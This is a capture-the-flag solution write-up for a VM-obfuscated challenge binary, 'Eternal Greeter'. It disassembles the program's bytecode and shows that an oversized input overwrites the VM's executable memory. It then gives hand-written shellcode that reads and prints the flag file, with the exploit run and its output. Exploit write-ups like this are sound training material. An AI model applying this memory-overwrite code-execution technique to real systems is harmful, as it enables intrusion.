VM Time B - Autorské řešení úlohy
Table of Contents
We’ve got apparently another program which uses vm obfuscation. We can use the
disassembler.py (from the previous challenge, we need to change the opcodes,
but this shouldn’t be too difficult) to get back the code:
./disassembler.py <compiled_a3code>
We can for example take the code bytes from Ghidra or gdb:
\x40\x00\x57\x40\x01\x65\x40\x02\x6c\x40\x03\x63\x40\x04\x6f\x40\x05\x6d\x40\x06\x65\x40\x07\x20\x40\x08\x69\x40\x09\x6e\x40\x0a\x20\x40\x0b\x45\x40\x0c\x74\x40\x0d\x65\x40\x0e\x72\x40\x0f\x6e\x40\x10\x61\x40\x11\x6c\x40\x12\x20\x40\x13\x47\x40\x14\x72\x40\x15\x65\x40\x16\x65\x40\x17\x74\x40\x18\x65\x40\x19\x72\x40\x1a\x2e\x40\x1b\x20\x40\x1c\x49\x40\x1d\x74\x40\x1e\x20\x40\x1f\x69\x40\x20\x73\x40\x21\x20\x40\x22\x77\x40\x23\x72\x40\x24\x69\x40\x25\x74\x40\x26\x74\x40\x27\x65\x40\x28\x6e\x40\x29\x20\x40\x2a\x69\x40\x2b\x6e\x40\x2c\x20\x40\x2d\x74\x40\x2e\x68\x40\x2f\x65\x40\x30\x20\x40\x31\x41\x40\x32\x33\x40\x33\x20\x40\x34\x63\x40\x35\x6f\x40\x36\x64\x40\x37\x65\x40\x38\x20\x40\x39\x61\x40\x3a\x6e\x40\x3b\x64\x40\x3c\x20\x40\x3d\x69\x40\x3e\x74\x40\x3f\x20\x40\x40\x69\x40\x41\x73\x40\x42\x20\x40\x43\x63\x40\x44\x6f\x40\x45\x6d\x40\x46\x70\x40\x47\x6c\x40\x48\x65\x40\x49\x74\x40\x4a\x65\x40\x4b\x6c\x40\x4c\x79\x40\x4d\x20\x40\x4e\x73\x40\x4f\x61\x40\x50\x66\x40\x51\x65\x40\x52\x21\x40\x53\x0a\x40\x54\x50\x40\x55\x6c\x40\x56\x65\x40\x57\x61\x40\x58\x73\x40\x59\x65\x40\x5a\x20\x40\x5b\x65\x40\x5c\x6e\x40\x5d\x74\x40\x5e\x65\x40\x5f\x72\x40\x60\x20\x40\x61\x79\x40\x62\x6f\x40\x63\x75\x40\x64\x72\x40\x65\x20\x40\x66\x6e\x40\x67\x61\x40\x68\x6d\x40\x69\x65\x40\x6a\x3a\x40\x6b\x0a\x60\x22\x01\x60\x23\x00\x60\x24\x6c\x21\x69\x00\x60\x22\x00\x60\x23\xff\x11\x23\x01\x60\x24\xff\x11\x24\xff\x11\x24\x02\x21\x68\x00\x40\x00\x48\x40\x01\x65\x40\x02\x6c\x40\x03\x6c\x40\x04\x6f\x40\x05\x2c\x40\x06\x20\x60\x22\x01\x60\x23\x00\x60\x24\x07\x21\x69\x00\x60\x22\x01\x60\x23\xff\x11\x23\x01\x60\x24\xff\x11\x24\x01\x21\x69\x00
The disassembler output:
memovi 0x0, 0x57
memovi 0x1, 0x65
memovi 0x2, 0x6c
memovi 0x3, 0x63
memovi 0x4, 0x6f
memovi 0x5, 0x6d
memovi 0x6, 0x65
memovi 0x7, 0x20
memovi 0x8, 0x69
memovi 0x9, 0x6e
memovi 0xa, 0x20
memovi 0xb, 0x45
memovi 0xc, 0x74
memovi 0xd, 0x65
memovi 0xe, 0x72
memovi 0xf, 0x6e
memovi 0x10, 0x61
memovi 0x11, 0x6c
memovi 0x12, 0x20
memovi 0x13, 0x47
memovi 0x14, 0x72
memovi 0x15, 0x65
memovi 0x16, 0x65
memovi 0x17, 0x74
memovi 0x18, 0x65
memovi 0x19, 0x72
memovi 0x1a, 0x2e
memovi 0x1b, 0x20
memovi 0x1c, 0x49
memovi 0x1d, 0x74
memovi 0x1e, 0x20
memovi 0x1f, 0x69
memovi 0x20, 0x73
memovi 0x21, 0x20
memovi 0x22, 0x77
memovi 0x23, 0x72
memovi 0x24, 0x69
memovi 0x25, 0x74
memovi 0x26, 0x74
memovi 0x27, 0x65
memovi 0x28, 0x6e
memovi 0x29, 0x20
memovi 0x2a, 0x69
memovi 0x2b, 0x6e
memovi 0x2c, 0x20
memovi 0x2d, 0x74
memovi 0x2e, 0x68
memovi 0x2f, 0x65
memovi 0x30, 0x20
memovi 0x31, 0x41
memovi 0x32, 0x33
memovi 0x33, 0x20
memovi 0x34, 0x63
memovi 0x35, 0x6f
memovi 0x36, 0x64
memovi 0x37, 0x65
memovi 0x38, 0x20
memovi 0x39, 0x61
memovi 0x3a, 0x6e
memovi 0x3b, 0x64
memovi 0x3c, 0x20
memovi 0x3d, 0x69
memovi 0x3e, 0x74
memovi 0x3f, 0x20
memovi 0x40, 0x69
memovi 0x41, 0x73
memovi 0x42, 0x20
memovi 0x43, 0x63
memovi 0x44, 0x6f
memovi 0x45, 0x6d
memovi 0x46, 0x70
memovi 0x47, 0x6c
memovi 0x48, 0x65
memovi 0x49, 0x74
memovi 0x4a, 0x65
memovi 0x4b, 0x6c
memovi 0x4c, 0x79
memovi 0x4d, 0x20
memovi 0x4e, 0x73
memovi 0x4f, 0x61
memovi 0x50, 0x66
memovi 0x51, 0x65
memovi 0x52, 0x21
memovi 0x53, 0xa
memovi 0x54, 0x50
memovi 0x55, 0x6c
memovi 0x56, 0x65
memovi 0x57, 0x61
memovi 0x58, 0x73
memovi 0x59, 0x65
memovi 0x5a, 0x20
memovi 0x5b, 0x65
memovi 0x5c, 0x6e
memovi 0x5d, 0x74
memovi 0x5e, 0x65
memovi 0x5f, 0x72
memovi 0x60, 0x20
memovi 0x61, 0x79
memovi 0x62, 0x6f
memovi 0x63, 0x75
memovi 0x64, 0x72
memovi 0x65, 0x20
memovi 0x66, 0x6e
memovi 0x67, 0x61
memovi 0x68, 0x6d
memovi 0x69, 0x65
memovi 0x6a, 0x3a
memovi 0x6b, 0xa
movi B, 0x1
movi C, 0x0
movi D, 0x6c
syscall 0x69, N
movi B, 0x0
movi C, 0xff
addi C, 0x1
movi D, 0xff
addi D, 0xff
addi D, 0x2
syscall 0x68, N
memovi 0x0, 0x48
memovi 0x1, 0x65
memovi 0x2, 0x6c
memovi 0x3, 0x6c
memovi 0x4, 0x6f
memovi 0x5, 0x2c
memovi 0x6, 0x20
movi B, 0x1
movi C, 0x0
movi D, 0x7
syscall 0x69, N
movi B, 0x1
movi C, 0xff
addi C, 0x1
movi D, 0xff
addi D, 0x1
syscall 0x69, N
By looking at the output we can see that it first prints some text, then reads
user input, and then prints again. What’s more, the program runs in an infinite
loop, as the name suggests. When we look at the disassembly closer, we can see
some weird addition before calling the syscalls. The read syscall reads 512
bytes from stdin to memory at offset of 256. Jumping back to Ghidra, or
anything we want to use, we can see that the program saves the code which is
being called in memory + 512 (executable_memory in main.cpp).
Because we can write 512 bytes to memory + 256, we can overwrite the
executable_memory to achieve full control of the program by writing our own
shellcode.
The shellcode needs to do the following:
fd = open("flag", 0x0);
read(fd, memory, whatever_the_length_of_the_flag_is_or_more);
write(STDOUT, memory, whatever_the_length_of_the_flag_is_or_more);
// Eventually exit
exit(exit_code);
Because we are already familiar with the code, this should not be too complicated:
memovi 0x0, 102
memovi 0x1, 108
memovi 0x2, 97
memovi 0x3, 103 # move the flag to memory at 0x0
memovi 0x4, 0x0 # we must not forget to terminate the string properly, otherwise the open will not work
movi B, 0x0
syscall 0x70 N # open
mov B, A # move the fd of flag to B
movi C, 0x0
movi D, 0x40
syscall 0x68 N # read
movi B, 0x1 # stdout
movi C, 0x0
movi D, 0x40
syscall 0x69 N # write
movi B, 0x42
syscall 0x71 N # exit
We can either write a compiler or assemble it by hand:
\x04\x00\x66\x04\x01\x6c\x04\x02\x61\x04\x03\x67\x04\x04\x00\x06\x12\x00\x12\x70\x00\x42\x12\x11\x06\x13\x00\x06\x14\x40\x12\x68\x00\x06\x12\x01\x06\x13\x00\x06\x14\x40\x12\x69\x00\x06\x12\x42\x12\x71\x00
Now we just write the exploit, we can use pwntools in order to communicate
with the process. The full exploit is in e.py.
$ ./e.py a
[+] Opening connection to localhost on port 8080: Done
[*] Switching to interactive mode
Welcome in Eternal Greeter. It is written in the A3 code and it is completely safe!
Please enter your name:
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag{y0u_m4st3red_a3_sh311c0ding}
written in the A3 code and it [*] Got EOF while reading in interactive
$
Note: The opcodes for instructions and registers in a3 code change for each challenge, but finding them should be a thing of negligible difficulty, so I don’t describe it here.